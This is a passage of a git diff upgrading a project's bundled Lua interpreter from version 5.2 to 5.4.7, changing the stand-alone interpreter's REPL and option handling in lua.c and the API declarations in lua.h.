LUA_MAXINPUT, stdin) != NULL) /* get line */ +#define lua_saveline(L,line) { (void)L; (void)line; } +#define lua_freeline(L,b) { (void)L; (void)b; } -#endif - - - - -static lua_State *globalL = NULL; - -static const char *progname = LUA_PROGNAME; - - - -static void lstop(lua_State *L, lua_Debug *ar) { - (void)ar; /* unused arg. */ - lua_sethook(L, NULL, 0, 0); - luaL_error(L, "interrupted!"); -} - - -static void laction(int i) { - signal(i, SIG_DFL); /* if another SIGINT happens before lstop, - terminate process (default action) */ - lua_sethook(globalL, lstop, LUA_MASKCALL | LUA_MASKRET | LUA_MASKCOUNT, 1); -} - - -static void print_usage(const char *badoption) { - luai_writestringerror("%s: ", progname); - if (badoption[1] == 'e' || badoption[1] == 'l') - luai_writestringerror("'%s' needs argument\n", badoption); - else - luai_writestringerror("unrecognized option '%s'\n", badoption); - luai_writestringerror( - "usage: %s [options] [script [args]]\n" - "Available options are:\n" - " -e stat execute string " LUA_QL("stat") "\n" - " -i enter interactive mode after executing " LUA_QL("script") "\n" - " -l name require library " LUA_QL("name") "\n" - " -v show version information\n" - " -E ignore environment variables\n" - " -- stop handling options\n" - " - stop handling options and execute stdin\n" - , - progname); -} - - -static void l_message(const char *pname, const char *msg) { - if (pname) luai_writestringerror("%s: ", pname); - luai_writestringerror("%s\n", msg); -} - - -static int report(lua_State *L, int status) { - if (status != LUA_OK && !lua_isnil(L, -1)) { - const char *msg = lua_tostring(L, -1); - if (msg == NULL) msg = "(error object is not a string)"; - l_message(progname, msg); - lua_pop(L, 1); - /* force a complete garbage collection in case of errors */ - lua_gc(L, LUA_GCCOLLECT, 0); - } - return status; -} - - -/* the next function is called unprotected, so it must avoid errors */ -static void finalreport(lua_State *L, int status) { - if (status != LUA_OK) { - const char *msg = (lua_type(L, -1) == LUA_TSTRING) ? lua_tostring(L, -1) - : NULL; - if (msg == NULL) msg = "(error object is not a string)"; - l_message(progname, msg); - lua_pop(L, 1); - } -} - - -static int traceback(lua_State *L) { - const char *msg = lua_tostring(L, 1); - if (msg) - luaL_traceback(L, L, msg, 1); - else if (!lua_isnoneornil(L, 1)) { /* is there an error object? */ - if (!luaL_callmeta(L, 1, "__tostring")) /* try its 'tostring' metamethod */ - lua_pushliteral(L, "(no error message)"); - } - return 1; -} - - -static int docall(lua_State *L, int narg, int nres) { - int status; - int base = lua_gettop(L) - narg; /* function index */ - lua_pushcfunction(L, traceback); /* push traceback function */ - lua_insert(L, base); /* put it under chunk and args */ - globalL = L; /* to be available to 'laction' */ - signal(SIGINT, laction); - status = lua_pcall(L, narg, nres, base); - signal(SIGINT, SIG_DFL); - lua_remove(L, base); /* remove traceback function */ - return status; -} - - -static void print_version(void) { - luai_writestring(LUA_COPYRIGHT, strlen(LUA_COPYRIGHT)); - luai_writeline(); -} - - -static int getargs(lua_State *L, char **argv, int n) { - int narg; - int i; - int argc = 0; - while (argv[argc]) argc++; /* count total number of arguments */ - narg = argc - (n + 1); /* number of arguments to the script */ - luaL_checkstack(L, narg + 3, "too many arguments to script"); - for (i = n + 1; i < argc; i++) - lua_pushstring(L, argv[i]); - lua_createtable(L, narg, n + 1); - for (i = 0; i < argc; i++) { - lua_pushstring(L, argv[i]); - lua_rawseti(L, -2, i - n); - } - return narg; -} - - -static int dofile(lua_State *L, const char *name) { - int status = luaL_loadfile(L, name); - if (status == LUA_OK) status = docall(L, 0, 0); - return report(L, status); -} - - -static int dostring(lua_State *L, const char *s, const char *name) { - int status = luaL_loadbuffer(L, s, strlen(s), name); - if (status == LUA_OK) status = docall(L, 0, 0); - return report(L, status); -} - - -static int dolibrary(lua_State *L, const char *name) { - int status; - lua_getglobal(L, "require"); - lua_pushstring(L, name); - status = docall(L, 1, 1); /* call 'require(name)' */ - if (status == LUA_OK) - lua_setglobal(L, name); /* global[name] = require return */ - return report(L, status); -} +#endif /* } */ + +#endif /* } */ +/* +** Return the string to be used as a prompt by the interpreter. Leave +** the string (or nil, if using the default value) on the stack, to keep +** it anchored. +*/ static const char *get_prompt(lua_State *L, int firstline) { - const char *p; - lua_getglobal(L, firstline ? "_PROMPT" : "_PROMPT2"); - p = lua_tostring(L, -1); - if (p == NULL) p = (firstline ? LUA_PROMPT : LUA_PROMPT2); - return p; + if (lua_getglobal(L, firstline ? "_PROMPT" : "_PROMPT2") == LUA_TNIL) + return (firstline ? LUA_PROMPT : LUA_PROMPT2); /* use the default */ + else { /* apply 'tostring' over the value */ + const char *p = luaL_tolstring(L, -1, NULL); + lua_remove(L, -2); /* remove original value */ + return p; + } } /* mark in error messages for incomplete statements */ -#define EOFMARK "" -#define marklen (sizeof(EOFMARK)/sizeof(char) - 1) +#define EOFMARK "" +#define marklen (sizeof(EOFMARK)/sizeof(char) - 1) + +/* +** Check whether 'status' signals a syntax error and the error +** message at the top of the stack ends with the above mark for +** incomplete statements. +*/ static int incomplete(lua_State *L, int status) { if (status == LUA_ERRSYNTAX) { size_t lmsg; @@ -257,219 +498,166 @@ static int incomplete(lua_State *L, int status) { } +/* +** Prompt the user, read a line, and push it into the Lua stack. +*/ static int pushline(lua_State *L, int firstline) { char buffer[LUA_MAXINPUT]; char *b = buffer; size_t l; const char *prmt = get_prompt(L, firstline); int readstatus = lua_readline(L, b, prmt); - lua_pop(L, 1); /* remove result from 'get_prompt' */ if (readstatus == 0) - return 0; /* no input */ + return 0; /* no input (prompt will be popped by caller) */ + lua_pop(L, 1); /* remove prompt */ l = strlen(b); if (l > 0 && b[l - 1] == '\n') /* line ends with newline? */ - b[l - 1] = '\0'; /* remove it */ - if (firstline && b[0] == '=') /* first line starts with `=' ? */ - lua_pushfstring(L, "return %s", b + 1); /* change it to `return' */ + b[--l] = '\0'; /* remove it */ + if (firstline && b[0] == '=') /* for compatibility with 5.2, ... */ + lua_pushfstring(L, "return %s", b + 1); /* change '=' to 'return' */ else - lua_pushstring(L, b); + lua_pushlstring(L, b, l); lua_freeline(L, b); return 1; } +/* +** Try to compile line on the stack as 'return ;'; on return, stack +** has either compiled chunk or original line (if compilation failed). +*/ +static int addreturn(lua_State *L) { + const char *line = lua_tostring(L, -1); /* original line */ + const char *retline = lua_pushfstring(L, "return %s;", line); + int status = luaL_loadbuffer(L, retline, strlen(retline), "=stdin"); + if (status == LUA_OK) { + lua_remove(L, -2); /* remove modified line */ + if (line[0] != '\0') /* non empty? */ + lua_saveline(L, line); /* keep history */ + } else + lua_pop(L, 2); /* pop result from 'luaL_loadbuffer' and modified line */ + return status; +} + + +/* +** Read multiple lines until a complete Lua statement +*/ +static int multiline(lua_State *L) { + for (;;) { /* repeat until gets a complete statement */ + size_t len; + const char *line = lua_tolstring(L, 1, &len); /* get what it has */ + int status = luaL_loadbuffer(L, line, len, "=stdin"); /* try it */ + if (!incomplete(L, status) || !pushline(L, 0)) { + lua_saveline(L, line); /* keep history */ + return status; /* cannot or should not try to add continuation line */ + } + lua_pushliteral(L, "\n"); /* add newline... */ + lua_insert(L, -2); /* ...between the two lines */ + lua_concat(L, 3); /* join them */ + } +} + + +/* +** Read a line and try to load (compile) it first as an expression (by +** adding "return " in front of it) and second as a statement. Return +** the final status of load/call with the resulting function (if any) +** in the top of the stack. +*/ static int loadline(lua_State *L) { int status; lua_settop(L, 0); if (!pushline(L, 1)) return -1; /* no input */ - for (;;) { /* repeat until gets a complete line */ - size_t l; - const char *line = lua_tolstring(L, 1, &l); - status = luaL_loadbuffer(L, line, l, "=stdin"); - if (!incomplete(L, status)) break; /* cannot try to add lines? */ - if (!pushline(L, 0)) /* no more input? */ - return -1; - lua_pushliteral(L, "\n"); /* add a new line... */ - lua_insert(L, -2); /* ...between the two lines */ - lua_concat(L, 3); /* join them */ - } - lua_saveline(L, 1); - lua_remove(L, 1); /* remove line */ + if ((status = addreturn(L)) != LUA_OK) /* 'return ...' did not work? */ + status = multiline(L); /* try as command, maybe with continuation lines */ + lua_remove(L, 1); /* remove line from the stack */ + lua_assert(lua_gettop(L) == 1); return status; } -static void dotty(lua_State *L) { +/* +** Prints (calling the Lua 'print' function) any values on the stack +*/ +static void l_print(lua_State *L) { + int n = lua_gettop(L); + if (n > 0) { /* any result to be printed? */ + luaL_checkstack(L, LUA_MINSTACK, "too many results to print"); + lua_getglobal(L, "print"); + lua_insert(L, 1); + if (lua_pcall(L, n, 0, 0) != LUA_OK) + l_message(progname, lua_pushfstring(L, "error calling 'print' (%s)", + lua_tostring(L, -1))); + } +} + + +/* +** Do the REPL: repeatedly read (load) a line, evaluate (call) it, and +** print any results. +*/ +static void doREPL(lua_State *L) { int status; const char *oldprogname = progname; - progname = NULL; + progname = NULL; /* no 'progname' on errors in interactive mode */ + lua_initreadline(L); while ((status = loadline(L)) != -1) { - if (status == LUA_OK) status = docall(L, 0, LUA_MULTRET); - report(L, status); - if (status == LUA_OK && lua_gettop(L) > 0) { /* any result to print? */ - luaL_checkstack(L, LUA_MINSTACK, "too many results to print"); - lua_getglobal(L, "print"); - lua_insert(L, 1); - if (lua_pcall(L, lua_gettop(L) - 1, 0, 0) != LUA_OK) - l_message(progname, lua_pushfstring(L, - "error calling " LUA_QL("print") " (%s)", - lua_tostring(L, -1))); - } + if (status == LUA_OK) + status = docall(L, 0, LUA_MULTRET); + if (status == LUA_OK) l_print(L); + else report(L, status); } lua_settop(L, 0); /* clear stack */ - luai_writeline(); + lua_writeline(); progname = oldprogname; } - -static int handle_script(lua_State *L, char **argv, int n) { - int status; - const char *fname; - int narg = getargs(L, argv, n); /* collect arguments */ - lua_setglobal(L, "arg"); - fname = argv[n]; - if (strcmp(fname, "-") == 0 && strcmp(argv[n - 1], "--") != 0) - fname = NULL; /* stdin */ - status = luaL_loadfile(L, fname); - lua_insert(L, -(narg + 1)); - if (status == LUA_OK) - status = docall(L, narg, LUA_MULTRET); - else - lua_pop(L, narg); - return report(L, status); -} - - -/* check that argument has no extra characters at the end */ -#define noextrachars(x) {if ((x)[2] != '\0') return -1;} - - -/* indices of various argument indicators in array args */ -#define has_i 0 /* -i */ -#define has_v 1 /* -v */ -#define has_e 2 /* -e */ -#define has_E 3 /* -E */ - -#define num_has 4 /* number of 'has_*' */ - - -static int collectargs(char **argv, int *args) { - int i; - for (i = 1; argv[i] != NULL; i++) { - if (argv[i][0] != '-') /* not an option? */ - return i; - switch (argv[i][1]) { /* option */ - case '-': - noextrachars(argv[i]); - return (argv[i + 1] != NULL ? i + 1 : 0); - case '\0': - return i; - case 'E': - args[has_E] = 1; - break; - case 'i': - noextrachars(argv[i]); - args[has_i] = 1; /* go through */ - case 'v': - noextrachars(argv[i]); - args[has_v] = 1; - break; - case 'e': - args[has_e] = 1; /* go through */ - case 'l': /* both options need an argument */ - if (argv[i][2] == '\0') { /* no concatenated argument? */ - i++; /* try next 'argv' */ - if (argv[i] == NULL || argv[i][0] == '-') - return -(i - 1); /* no next argument or it is another option */ - } - break; - default: /* invalid option; return its index... */ - return -i; /* ...as a negative value */ - } - } - return 0; -} - - -static int runargs(lua_State *L, char **argv, int n) { - int i; - for (i = 1; i < n; i++) { - lua_assert(argv[i][0] == '-'); - switch (argv[i][1]) { /* option */ - case 'e': { - const char *chunk = argv[i] + 2; - if (*chunk == '\0') chunk = argv[++i]; - lua_assert(chunk != NULL); - if (dostring(L, chunk, "=(command line)") != LUA_OK) - return 0; - break; - } - case 'l': { - const char *filename = argv[i] + 2; - if (*filename == '\0') filename = argv[++i]; - lua_assert(filename != NULL); - if (dolibrary(L, filename) != LUA_OK) - return 0; /* stop if file fails */ - break; - } - default: - break; - } - } - return 1; -} - - -static int handle_luainit(lua_State *L) { - const char *name = "=" LUA_INITVERSION; - const char *init = getenv(name + 1); - if (init == NULL) { - name = "=" LUA_INIT; - init = getenv(name + 1); /* try alternative name */ - } - if (init == NULL) return LUA_OK; - else if (init[0] == '@') - return dofile(L, init + 1); - else - return dostring(L, init, name); -} +/* }================================================================== */ +/* +** Main body of stand-alone interpreter (to be called in protected mode). +** Reads the options and handles them all. +*/ static int pmain(lua_State *L) { int argc = (int)lua_tointeger(L, 1); char **argv = (char **)lua_touserdata(L, 2); int script; - int args[num_has]; - args[has_i] = args[has_v] = args[has_e] = args[has_E] = 0; - if (argv[0] && argv[0][0]) progname = argv[0]; - script = collectargs(argv, args); - if (script < 0) { /* invalid arg? */ - print_usage(argv[-script]); + int args = collectargs(argv, &script); + int optlim = (script > 0) ? script : argc; /* first argv not an option */ + luaL_checkversion(L); /* check that interpreter has correct version */ + if (args == has_error) { /* bad arg? */ + print_usage(argv[script]); /* 'script' has index of bad arg. */ return 0; } - if (args[has_v]) print_version(); - if (args[has_E]) { /* option '-E'? */ + if (args & has_v) /* option '-v'? */ + print_version(); + if (args & has_E) { /* option '-E'? */ lua_pushboolean(L, 1); /* signal for libraries to ignore env. vars. */ lua_setfield(L, LUA_REGISTRYINDEX, "LUA_NOENV"); } - /* open standard libraries */ - luaL_checkversion(L); - lua_gc(L, LUA_GCSTOP, 0); /* stop collector during initialization */ - luaL_openlibs(L); /* open libraries */ - lua_gc(L, LUA_GCRESTART, 0); - if (!args[has_E] && handle_luainit(L) != LUA_OK) - return 0; /* error running LUA_INIT */ - /* execute arguments -e and -l */ - if (!runargs(L, argv, (script > 0) ? script : argc)) return 0; - /* execute main script (if there is one) */ - if (script && handle_script(L, argv, script) != LUA_OK) return 0; - if (args[has_i]) /* -i option? */ - dotty(L); - else if (script == 0 && !args[has_e] && !args[has_v]) { /* no arguments? */ - if (lua_stdin_is_tty()) { + luaL_openlibs(L); /* open standard libraries */ + createargtable(L, argv, argc, script); /* create table 'arg' */ + lua_gc(L, LUA_GCRESTART); /* start GC... */ + lua_gc(L, LUA_GCGEN, 0, 0); /* ...in generational mode */ + if (!(args & has_E)) { /* no option '-E'? */ + if (handle_luainit(L) != LUA_OK) /* run LUA_INIT */ + return 0; /* error running LUA_INIT */ + } + if (!runargs(L, argv, optlim)) /* execute arguments -e and -l */ + return 0; /* something failed */ + if (script > 0) { /* execute main script (if there is one) */ + if (handle_script(L, argv + script) != LUA_OK) + return 0; /* interrupt in case of error */ + } + if (args & has_i) /* -i option? */ + doREPL(L); /* do read-eval-print loop */ + else if (script < 1 && !(args & (has_e | has_v))) { /* no active option? */ + if (lua_stdin_is_tty()) { /* running in interactive mode? */ print_version(); - dotty(L); + doREPL(L); /* do read-eval-print loop */ } else dofile(L, NULL); /* executes stdin as a file */ } lua_pushboolean(L, 1); /* signal no errors */ @@ -484,13 +672,13 @@ int main(int argc, char **argv) { l_message(argv[0], "cannot create state: not enough memory"); return EXIT_FAILURE; } - /* call 'pmain' in protected mode */ - lua_pushcfunction(L, &pmain); + lua_gc(L, LUA_GCSTOP); /* stop GC while building state */ + lua_pushcfunction(L, &pmain); /* to call 'pmain' in protected mode */ lua_pushinteger(L, argc); /* 1st argument */ lua_pushlightuserdata(L, argv); /* 2nd argument */ - status = lua_pcall(L, 2, 1, 0); + status = lua_pcall(L, 2, 1, 0); /* do the call */ result = lua_toboolean(L, -1); /* get result */ - finalreport(L, status); + report(L, status); lua_close(L); return (result && status == LUA_OK) ? EXIT_SUCCESS : EXIT_FAILURE; } diff --git a/client/deps/liblua/lua.h b/client/deps/liblua/lua.h index 75e0b3691..ae2766323 100644 --- a/client/deps/liblua/lua.h +++ b/client/deps/liblua/lua.h @@ -1,5 +1,5 @@ /* -** $Id: lua.h,v 1.285.1.3 2014/05/07 14:15:55 roberto Exp roberto $ +** $Id: lua.h $ ** Lua - A Scripting Language ** Lua.org, PUC-Rio, Brazil (http://www.lua.org) ** See Copyright Notice at the end of this file @@ -16,87 +16,74 @@ #include "luaconf.h" -#define LUA_VERSION_MAJOR "5" -#define LUA_VERSION_MINOR "2" -#define LUA_VERSION_NUM 502 -#define LUA_VERSION_RELEASE "4" +#define LUA_VERSION_MAJOR "5" +#define LUA_VERSION_MINOR "4" +#define LUA_VERSION_RELEASE "7" -#define LUA_VERSION "Lua " LUA_VERSION_MAJOR "." LUA_VERSION_MINOR -#define LUA_RELEASE LUA_VERSION "." LUA_VERSION_RELEASE -#define LUA_COPYRIGHT LUA_RELEASE " Copyright (C) 1994-2015 Lua.org, PUC-Rio" -#define LUA_AUTHORS "R. Ierusalimschy, L. H. de Figueiredo, W. Celes" +#define LUA_VERSION_NUM 504 +#define LUA_VERSION_RELEASE_NUM (LUA_VERSION_NUM * 100 + 7) + +#define LUA_VERSION "Lua " LUA_VERSION_MAJOR "." LUA_VERSION_MINOR +#define LUA_RELEASE LUA_VERSION "." LUA_VERSION_RELEASE +#define LUA_COPYRIGHT LUA_RELEASE " Copyright (C) 1994-2024 Lua.org, PUC-Rio" +#define LUA_AUTHORS "R. Ierusalimschy, L. H. de Figueiredo, W. Celes" /* mark for precompiled code ('Lua') */ -#define LUA_SIGNATURE "\033Lua" +#define LUA_SIGNATURE "\x1bLua" /* option for multiple returns in 'lua_pcall' and 'lua_call' */ -#define LUA_MULTRET (-1) +#define LUA_MULTRET (-1) /* -** pseudo-indices +** Pseudo-indices +** (-LUAI_MAXSTACK is the minimum valid index; we keep some free empty +** space after that to help overflow detection) */ -#define LUA_REGISTRYINDEX LUAI_FIRSTPSEUDOIDX -#define lua_upvalueindex(i) (LUA_REGISTRYINDEX - (i)) +#define LUA_REGISTRYINDEX (-LUAI_MAXSTACK - 1000) +#define lua_upvalueindex(i) (LUA_REGISTRYINDEX - (i)) /* thread status */ -#define LUA_OK 0 -#define LUA_YIELD 1 -#define LUA_ERRRUN 2 -#define LUA_ERRSYNTAX 3 -#define LUA_ERRMEM 4 -#define LUA_ERRGCMM 5 -#define LUA_ERRERR 6 +#define LUA_OK 0 +#define LUA_YIELD 1 +#define LUA_ERRRUN 2 +#define LUA_ERRSYNTAX 3 +#define LUA_ERRMEM 4 +#define LUA_ERRERR 5 typedef struct lua_State lua_State; -typedef int (*lua_CFunction)(lua_State *L); - - -/* -** functions that read/write blocks when loading/dumping Lua chunks -*/ -typedef const char *(*lua_Reader)(lua_State *L, void *ud, size_t *sz); - -typedef int (*lua_Writer)(lua_State *L, const void *p, size_t sz, void *ud); - - -/* -** prototype for memory-allocation functions -*/ -typedef void *(*lua_Alloc)(void *ud, void *ptr, size_t osize, size_t nsize); - /* ** basic types */ -#define LUA_TNONE (-1) +#define LUA_TNONE (-1) -#define LUA_TNIL 0 -#define LUA_TBOOLEAN 1 -#define LUA_TLIGHTUSERDATA 2 -#define LUA_TNUMBER 3 -#define LUA_TSTRING 4 -#define LUA_TTABLE 5 -#define LUA_TFUNCTION 6 -#define LUA_TUSERDATA 7 -#define LUA_TTHREAD 8 +#define LUA_TNIL 0 +#define LUA_TBOOLEAN 1 +#define LUA_TLIGHTUSERDATA 2 +#define LUA_TNUMBER 3 +#define LUA_TSTRING 4 +#define LUA_TTABLE 5 +#define LUA_TFUNCTION 6 +#define LUA_TUSERDATA 7 +#define LUA_TTHREAD 8 -#define LUA_NUMTAGS 9 +#define LUA_NUMTYPES 9 /* minimum Lua stack available to a C function */ -#define LUA_MINSTACK 20 +#define LUA_MINSTACK 20 /* predefined values in the registry */ -#define LUA_RIDX_MAINTHREAD 1 -#define LUA_RIDX_GLOBALS 2 -#define LUA_RIDX_LAST LUA_RIDX_GLOBALS +#define LUA_RIDX_MAINTHREAD 1 +#define LUA_RIDX_GLOBALS 2 +#define LUA_RIDX_LAST LUA_RIDX_GLOBALS /* type of numbers in Lua */ @@ -109,6 +96,51 @@ typedef LUA_INTEGER lua_Integer; /* unsigned integer type */ typedef LUA_UNSIGNED lua_Unsigned; +/* type for continuation-function contexts */ +typedef LUA_KCONTEXT lua_KContext; + + +/* +** Type for C functions registered with Lua +*/ +typedef int (*lua_CFunction)(lua_State *L); + +/* +** Type for continuation functions +*/ +typedef int (*lua_KFunction)(lua_State *L, int status, lua_KContext ctx); + + +/* +** Type for functions that read/write blocks when loading/dumping Lua chunks +*/ +typedef const char *(*lua_Reader)(lua_State *L, void *ud, size_t *sz); + +typedef int (*lua_Writer)(lua_State *L, const void *p, size_t sz, void *ud); + + +/* +** Type for memory-allocation functions +*/ +typedef void *(*lua_Alloc)(void *ud, void *ptr, size_t osize, size_t nsize); + + +/* +** Type for warning functions +*/ +typedef void (*lua_WarnFunction)(void *ud, const char *msg, int tocont); + + +/* +** Type used by the debug API to collect debug information +*/ +typedef struct lua_Debug lua_Debug; + + +/* +** Functions to be called by the debugger in specific events +*/ +typedef void (*lua_Hook)(lua_State *L, lua_Debug *ar); /* @@ -131,11 +163,13 @@ extern const char lua_ident[]; LUA_API lua_State *(lua_newstate)(lua_Alloc f, void *ud); LUA_API void (lua_close)(lua_State *L); LUA_API lua_State *(lua_newthread)(lua_State *L); +LUA_API int (lua_closethread)(lua_State *L, lua_State *from); +LUA_API int (lua_resetthread)(lua_State *L); /* Deprecated! */ LUA_API lua_CFunction(lua_atpanic)(lua_State *L, lua_CFunction panicf); -LUA_API const lua_Number *(lua_version)(lua_State *L); +LUA_API lua_Number(lua_version)(lua_State *L); /* @@ -145,11 +179,9 @@ LUA_API int (lua_absindex)(lua_State *L, int idx); LUA_API int (lua_gettop)(lua_State *L); LUA_API void (lua_settop)(lua_State *L, int idx); LUA_API void (lua_pushvalue)(lua_State *L, int idx); -LUA_API void (lua_remove)(lua_State *L, int idx); -LUA_API void (lua_insert)(lua_State *L, int idx); -LUA_API void (lua_replace)(lua_State *L, int idx); +LUA_API void (lua_rotate)(lua_State *L, int idx, int n); LUA_API void (lua_copy)(lua_State *L, int fromidx, int toidx); -LUA_API int (lua_checkstack)(lua_State *L, int sz); +LUA_API int (lua_checkstack)(lua_State *L, int n); LUA_API void (lua_xmove)(lua_State *from, lua_State *to, int n); @@ -161,18 +193,18 @@ LUA_API void (lua_xmove)(lua_State *from, lua_State *to, int n); LUA_API int (lua_isnumber)(lua_State *L, int idx); LUA_API int (lua_isstring)(lua_State *L, int idx); LUA_API int (lua_iscfunction)(lua_State *L, int idx); +LUA_API int (lua_isinteger)(lua_State *L, int idx); LUA_API int (lua_isuserdata)(lua_State *L, int idx); LUA_API int (lua_type)(lua_State *L, int idx); LUA_API const char *(lua_typename)(lua_State *L, int tp); LUA_API lua_Number(lua_tonumberx)(lua_State *L, int idx, int *isnum); LUA_API lua_Integer(lua_tointegerx)(lua_State *L, int idx, int *isnum); -LUA_API lua_Unsigned(lua_tounsignedx)(lua_State *L, int idx, int *isnum); LUA_API int (lua_toboolean)(lua_State *L, int idx); LUA_API const char *(lua_tolstring)(lua_State *L, int idx, size_t *len); -LUA_API size_t (lua_rawlen)(lua_State *L, int idx); +LUA_API lua_Unsigned(lua_rawlen)(lua_State *L, int idx); LUA_API lua_CFunction(lua_tocfunction)(lua_State *L, int idx); -LUA_API void *(lua_touserdata)(lua_State *L, int idx); +LUA_API void *(lua_touserdata)(lua_State *L, int idx); LUA_API lua_State *(lua_tothread)(lua_State *L, int idx); LUA_API const void *(lua_topointer)(lua_State *L, int idx); @@ -181,19 +213,26 @@ LUA_API const void *(lua_topointer)(lua_State *L, int idx); ** Comparison and arithmetic functions */ -#define LUA_OPADD 0 /* ORDER TM */ -#define LUA_OPSUB 1 -#define LUA_OPMUL 2 -#define LUA_OPDIV 3 -#define LUA_OPMOD 4 -#define LUA_OPPOW 5 -#define LUA_OPUNM 6 +#define LUA_OPADD 0 /* ORDER TM, ORDER OP */ +#define LUA_OPSUB 1 +#define LUA_OPMUL 2 +#define LUA_OPMOD 3 +#define LUA_OPPOW 4 +#define LUA_OPDIV 5 +#define LUA_OPIDIV 6 +#define LUA_OPBAND 7 +#define LUA_OPBOR 8 +#define LUA_OPBXOR 9 +#define LUA_OPSHL 10 +#define LUA_OPSHR 11 +#define LUA_OPUNM 12 +#define LUA_OPBNOT 13 LUA_API void (lua_arith)(lua_State *L, int op); -#define LUA_OPEQ 0 -#define LUA_OPLT 1 -#define LUA_OPLE 2 +#define LUA_OPEQ 0 +#define LUA_OPLT 1 +#define LUA_OPLE 2 LUA_API int (lua_rawequal)(lua_State *L, int idx1, int idx2); LUA_API int (lua_compare)(lua_State *L, int idx1, int idx2, int op); @@ -205,8 +244,7 @@ LUA_API int (lua_compare)(lua_State *L, int idx1, int idx2, int op); LUA_API void (lua_pushnil)(lua_State *L); LUA_API void (lua_pushnumber)(lua_State *L, lua_Number n); LUA_API void (lua_pushinteger)(lua_State *L, lua_Integer n); -LUA_API void (lua_pushunsigned)(lua_State *L, lua_Unsigned n); -LUA_API const char *(lua_pushlstring)(lua_State *L, const char *s, size_t l); +LUA_API const char *(lua_pushlstring)(lua_State *L, const char *s, size_t len); LUA_API const char *(lua_pushstring)(lua_State *L, const char *s); LUA_API const char *(lua_pushvfstring)(lua_State *L, const char *fmt, va_list argp); @@ -220,78 +258,88 @@ LUA_API int (lua_pushthread)(lua_State *L); /* ** get functions (Lua -> stack) */ -LUA_API void (lua_getglobal)(lua_State *L, const char *var); -LUA_API void (lua_gettable)(lua_State *L, int idx); -LUA_API void (lua_getfield)(lua_State *L, int idx, const char *k); -LUA_API void (lua_rawget)(lua_State *L, int idx); -LUA_API void (lua_rawgeti)(lua_State *L, int idx, int n); -LUA_API void (lua_rawgetp)(lua_State *L, int idx, const void *p); +LUA_API int (lua_getglobal)(lua_State *L, const char *name); +LUA_API int (lua_gettable)(lua_State *L, int idx); +LUA_API int (lua_getfield)(lua_State *L, int idx, const char *k); +LUA_API int (lua_geti)(lua_State *L, int idx, lua_Integer n); +LUA_API int (lua_rawget)(lua_State *L, int idx); +LUA_API int (lua_rawgeti)(lua_State *L, int idx, lua_Integer n); +LUA_API int (lua_rawgetp)(lua_State *L, int idx, const void *p); + LUA_API void (lua_createtable)(lua_State *L, int narr, int nrec); -LUA_API void *(lua_newuserdata)(lua_State *L, size_t sz); +LUA_API void *(lua_newuserdatauv)(lua_State *L, size_t sz, int nuvalue); LUA_API int (lua_getmetatable)(lua_State *L, int objindex); -LUA_API void (lua_getuservalue)(lua_State *L, int idx); +LUA_API int (lua_getiuservalue)(lua_State *L, int idx, int n); /* ** set functions (stack -> Lua) */ -LUA_API void (lua_setglobal)(lua_State *L, const char *var); +LUA_API void (lua_setglobal)(lua_State *L, const char *name); LUA_API void (lua_settable)(lua_State *L, int idx); LUA_API void (lua_setfield)(lua_State *L, int idx, const char *k); +LUA_API void (lua_seti)(lua_State *L, int idx, lua_Integer n); LUA_API void (lua_rawset)(lua_State *L, int idx); -LUA_API void (lua_rawseti)(lua_State *L, int idx, int n); +LUA_API void (lua_rawseti)(lua_State *L, int idx, lua_Integer n); LUA_API void (lua_rawsetp)(lua_State *L, int idx, const void *p); LUA_API int (lua_setmetatable)(lua_State *L, int objindex); -LUA_API void (lua_setuservalue)(lua_State *L, int idx); +LUA_API int (lua_setiuservalue)(lua_State *L, int idx, int n); /* ** 'load' and 'call' functions (load and run Lua code) */ -LUA_API void (lua_callk)(lua_State *L, int nargs, int nresults, int ctx, - lua_CFunction k); -#define lua_call(L,n,r) lua_callk(L, (n), (r), 0, NULL) - -LUA_API int (lua_getctx)(lua_State *L, int *ctx); +LUA_API void (lua_callk)(lua_State *L, int nargs, int nresults, + lua_KContext ctx, lua_KFunction k); +#define lua_call(L,n,r) lua_callk(L, (n), (r), 0, NULL) LUA_API int (lua_pcallk)(lua_State *L, int nargs, int nresults, int errfunc, - int ctx, lua_CFunction k); -#define lua_pcall(L,n,r,f) lua_pcallk(L, (n), (r), (f), 0, NULL) + lua_KContext ctx, lua_KFunction k); +#define lua_pcall(L,n,r,f) lua_pcallk(L, (n), (r), (f), 0, NULL) LUA_API int (lua_load)(lua_State *L, lua_Reader reader, void *dt, - const char *chunkname, - const char *mode); + const char *chunkname, const char *mode); -LUA_API int (lua_dump)(lua_State *L, lua_Writer writer, void *data); +LUA_API int (lua_dump)(lua_State *L, lua_Writer writer, void *data, int strip); /* ** coroutine functions */ -LUA_API int (lua_yieldk)(lua_State *L, int nresults, int ctx, - lua_CFunction k); -#define lua_yield(L,n) lua_yieldk(L, (n), 0, NULL) -LUA_API int (lua_resume)(lua_State *L, lua_State *from, int narg); +LUA_API int (lua_yieldk)(lua_State *L, int nresults, lua_KContext ctx, + lua_KFunction k); +LUA_API int (lua_resume)(lua_State *L, lua_State *from, int narg, + int *nres); LUA_API int (lua_status)(lua_State *L); +LUA_API int (lua_isyieldable)(lua_State *L); + +#define lua_yield(L,n) lua_yieldk(L, (n), 0, NULL) + + +/* +** Warning-related functions +*/ +LUA_API void (lua_setwarnf)(lua_State *L, lua_WarnFunction f, void *ud); +LUA_API void (lua_warning)(lua_State *L, const char *msg, int tocont); + /* ** garbage-collection function and options */ -#define LUA_GCSTOP 0 -#define LUA_GCRESTART 1 -#define LUA_GCCOLLECT 2 -#define LUA_GCCOUNT 3 -#define LUA_GCCOUNTB 4 -#define LUA_GCSTEP 5 -#define LUA_GCSETPAUSE 6 -#define LUA_GCSETSTEPMUL 7 -#define LUA_GCSETMAJORINC 8 -#define LUA_GCISRUNNING 9 -#define LUA_GCGEN 10 -#define LUA_GCINC 11 +#define LUA_GCSTOP 0 +#define LUA_GCRESTART 1 +#define LUA_GCCOLLECT 2 +#define LUA_GCCOUNT 3 +#define LUA_GCCOUNTB 4 +#define LUA_GCSTEP 5 +#define LUA_GCSETPAUSE 6 +#define LUA_GCSETSTEPMUL 7 +#define LUA_GCISRUNNING 9 +#define LUA_GCGEN 10 +#define LUA_GCINC 11 -LUA_API int (lua_gc)(lua_State *L, int what, int data); +LUA_API int (lua_gc)(lua_State *L, int what, ...); /* @@ -305,48 +353,80 @@ LUA_API int (lua_next)(lua_State *L, int idx); LUA_API void (lua_concat)(lua_State *L, int n); LUA_API void (lua_len)(lua_State *L, int idx); +LUA_API size_t (lua_stringtonumber)(lua_State *L, const char *s); + LUA_API lua_Alloc(lua_getallocf)(lua_State *L, void **ud); LUA_API void 